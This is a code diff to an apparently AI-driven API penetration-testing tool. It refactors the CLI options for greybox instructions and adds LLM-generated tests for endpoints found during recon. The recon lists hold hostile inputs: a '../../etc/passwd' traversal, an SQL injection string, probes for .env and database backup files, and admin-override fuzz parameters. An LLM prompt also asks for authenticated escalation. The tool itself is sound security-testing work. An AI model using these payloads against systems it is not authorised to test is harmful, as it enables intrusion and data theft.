greybox_context = ( + "\n\n[GREYBOX CONTEXT]\n" + "Use the provided credentials and context to try authenticated escalation against these hidden endpoints:\n" + ) + if isinstance(instructions, dict) and "variables" in instructions: + for key, value in instructions["variables"].items(): + greybox_context += f"- {key}: {value}\n" + user_prompt += greybox_context + + result = await call_llm(sys_prompt, user_prompt, temperature=0.7) + try: + data = json.loads(result) + return [TestCase(**t) for t in data.get("tests", [])] + except Exception as e: + logger.error("Failed to parse AI Recon TestCases JSON", error=str(e), result=result) + return [] diff --git a/src/secnodeapi/cli.py b/src/secnodeapi/cli.py index 6d117fa..f7f7946 100644 --- a/src/secnodeapi/cli.py +++ b/src/secnodeapi/cli.py @@ -98,10 +98,10 @@ def parse_identities(identities_file: str) -> List[IdentityContext]: def parse_instructions(args) -> List[InstructionSet]: - """Parse instruction sets from CLI arguments --instruction1 through --instruction5. + """Parse instruction sets from CLI argument --instruction. Each argument should be comma-separated key=value pairs, e.g.: - --instruction1 "token=xxx, username=vishn, password=secret123" + --instruction "token=xxx, username=vishn, password=secret123" Args: args: argparse Namespace @@ -111,11 +111,12 @@ def parse_instructions(args) -> List[InstructionSet]: """ instructions: List[InstructionSet] = [] - for i in range(1, 6): - arg_name = f"instruction{i}" - value = getattr(args, arg_name, None) + raw_instructions = getattr(args, "instruction", None) + if not raw_instructions: + return instructions - if not value or not isinstance(value, str): + for i, value in enumerate(raw_instructions, start=1): + if not isinstance(value, str): continue # Parse comma-separated key=value pairs @@ -136,7 +137,7 @@ def parse_instructions(args) -> List[InstructionSet]: variables[key] = val if variables: - instructions.append(InstructionSet(name=arg_name, variables=variables)) + instructions.append(InstructionSet(name=f"instruction{i}", variables=variables)) return instructions @@ -213,24 +214,9 @@ def parse_args(): help="Write generated tests to JSON file (use with --dry-run)", ) parser.add_argument( - "--instruction1", - help="Comma-separated key=value pairs for instruction set 1", - ) - parser.add_argument( - "--instruction2", - help="Comma-separated key=value pairs for instruction set 2", - ) - parser.add_argument( - "--instruction3", - help="Comma-separated key=value pairs for instruction set 3", - ) - parser.add_argument( - "--instruction4", - help="Comma-separated key=value pairs for instruction set 4", - ) - parser.add_argument( - "--instruction5", - help="Comma-separated key=value pairs for instruction set 5", + "--instruction", + action="append", + help="Comma-separated key=value pairs for instruction sets (repeatable)", ) parser.add_argument( "--scenario", diff --git a/src/secnodeapi/config_loader.py b/src/secnodeapi/config_loader.py index dc6b5ae..ef2879d 100644 --- a/src/secnodeapi/config_loader.py +++ b/src/secnodeapi/config_loader.py @@ -52,12 +52,8 @@ class SecNodeConfig(BaseModel): dry_run: bool = False dry_run_output: Optional[str] = None - # Greybox instructions (5 max) - instruction1: Optional[str] = None - instruction2: Optional[str] = None - instruction3: Optional[str] = None - instruction4: Optional[str] = None - instruction5: Optional[str] = None + # Greybox instructions (can be multiple sets) + instructions: List[str] = Field(default_factory=list) # Scenario file path (for reference, not passed through) scenario_path: Optional[str] = None @@ -70,14 +66,8 @@ class SecNodeConfig(BaseModel): llm: Optional[str] = None def get_instructions(self) -> List[Optional[str]]: - """Return list of instruction values.""" - return [ - self.instruction1, - self.instruction2, - self.instruction3, - self.instruction4, - self.instruction5, - ] + """Return list of instruction values (kept for backwards compat matching).""" + return self.instructions def _get_env_overrides() -> Dict[str, Any]: @@ -121,12 +111,26 @@ def _get_env_overrides() -> Dict[str, Any]: else: overrides[config_key] = value - # Instructions from env vars - for i in range(1, 6): - env_key = f"SECNODE_INSTRUCTION{i}" - value = os.getenv(env_key) - if value is not None: - overrides[f"instruction{i}"] = value + # Instructions from env vars (either SECNODE_INSTRUCTIONS as JSON list or legacy SECNODE_INSTRUCTION_X) + instructions_json = os.getenv("SECNODE_INSTRUCTIONS") + if instructions_json: + import json + try: + parsed = json.loads(instructions_json) + if isinstance(parsed, list): + overrides["instructions"] = parsed + except json.JSONDecodeError: + pass + else: + # Fallback to legacy individual env vars assembled into a list + env_instructions = [] + for i in range(1, 6): + env_key = f"SECNODE_INSTRUCTION{i}" + value = os.getenv(env_key) + if value is not None: + env_instructions.append(value) + if env_instructions: + overrides["instructions"] = env_instructions # Users from env (JSON array) users_json = os.getenv("SECNODE_USERS") @@ -173,11 +177,9 @@ def _load_scenario_file(scenario_path: str) -> Dict[str, Any]: if "variables" in data: result["variables"] = data["variables"] - # Instructions - convert to instruction1, instruction2, etc. + # Instructions directly pass through as list if "instructions" in data: - instructions = data["instructions"] - for i, instr in enumerate(instructions[:5], start=1): - result[f"instruction{i}"] = instr + result["instructions"] = data["instructions"] # Direct config fields from scenario direct_fields = [ @@ -245,8 +247,10 @@ def load_config( value = getattr(cli_args, key, None) if value is not None and value != "": - # Handle instruction fields - they should override - if key.startswith("instruction") or key in ( + # Handle instruction field merging - CLI 'instruction' list (from action=append) overrides to 'instructions' + if key == "instruction": + cli_overrides["instructions"] = value + elif key in ( "target", "mode", "concurrency", "auth_header", "auth_file", "identities_file", "proxy", "insecure", "request_budget", "per_endpoint_budget", "max_iterations", "schema_only", diff --git a/src/secnodeapi/services/pipeline.py b/src/secnodeapi/services/pipeline.py index 6a376e2..bda9bdd 100644 --- a/src/secnodeapi/services/pipeline.py +++ b/src/secnodeapi/services/pipeline.py @@ -16,6 +16,7 @@ generate_test_cases, understand_api_with_ai, validate_findings_with_ai, + analyze_recon_with_ai, ) from ..report_generator import generate_reports from ..schema_fetcher import analyze_api_structure, fetch_schema @@ -375,7 +376,16 @@ async def build_pipeline_artifacts( api_structure.endpoints = list(unique_endpoints.values()) understanding = await understand_api_with_ai(api_structure) - tests = await generate_test_cases(understanding, api_structure, instructions=pipeline_input.instructions[0].model_dump() if pipeline_input.instructions else None) + + # Generate main adversarial tests + instructions_dict = pipeline_input.instructions[0].model_dump() if pipeline_input.instructions else None + tests = await generate_test_cases(understanding, api_structure, instructions=instructions_dict) + + # Analyze and generate tests for newly discovered recon endpoints + if discovered_endpoints: + recon_tests = await analyze_recon_with_ai(discovered_endpoints, api_structure, instructions=instructions_dict) + tests.extend(recon_tests) + return api_structure, tests diff --git a/src/secnodeapi/services/recon.py b/src/secnodeapi/services/recon.py index c0c6c85..778ddd2 100644 --- a/src/secnodeapi/services/recon.py +++ b/src/secnodeapi/services/recon.py @@ -20,17 +20,22 @@ def _mutate_path(path: str) -> List[str]: # Version mutations if "/v1/" in stripped: - for ver in ("/v2/", "/v3/", "/beta/", "/dev/", "/internal/"): + for ver in ("/v2/", "/v3/", "/v4/", "/beta/", "/dev/", "/internal/", "/graphql/"): mutations.add(stripped.replace("/v1/", ver, 1)) # Extension mutations if "." not in stripped.split("/")[-1]: - for ext in (".json", ".xml", ".yaml", ".bak", ".old"): + for ext in (".json", ".xml", ".yaml", ".bak", ".old", ".env", ".sql", ".txt", ".tar.gz", ".zip"): mutations.add(f"{stripped}{ext}") # Admin & Shadow directory mutations - if not any(x in stripped for x in ("/admin", "/administrator", "/manager", "/config")): - for shadow in ("/admin", "/administrator", "/manager", "/config", "/system"): + base_shadows = ( + "/admin", "/administrator", "/manager", "/config", "/system", + "/debug", "/console", "/test", "/backup", "/api-docs", "/swagger", + "/metrics", "/health", "/status", "/actuator" + ) + if not any(x in stripped for x in base_shadows): + for shadow in base_shadows: mutations.add(f"{stripped}{shadow}") # ID & Injection mutations @@ -39,7 +44,10 @@ def _mutate_path(path: str) -> List[str]: "1", "2", "0", - "999999", + "-1", + "999999", + "admin", + "root", "00000000-0000-0000-0000-000000000000", "../../etc/passwd", "' OR 1=1--" @@ -95,6 +103,19 @@ def _build_discovery_tests(endpoints: List[APIEndpoint]) -> List[TestCase]: # Probe for hidden parameters on existing GET paths if "GET" in known_methods: + # Common debug, admin, and override parameters + fuzz_params = { + "debug": "true", + "admin": "1", + "test": "true", + "override": "true", + "role": "admin", + "superuser": "true", + "token": "admin", + "user_id": "1", + "account_id": "1", + "is_admin": "true" + } discovery_tests.append( TestCase( id=f"PARAM-FUZZ-{idx}", @@ -103,7 +124,7 @@ def _build_discovery_tests(endpoints: List[APIEndpoint]) -> List[TestCase]: owasp_category="API9: Improper Inventory Management", endpoint=path, method="GET", - params={"debug": "true", "admin": "1", "test": "true"} + params=fuzz_params ) ) idx += 1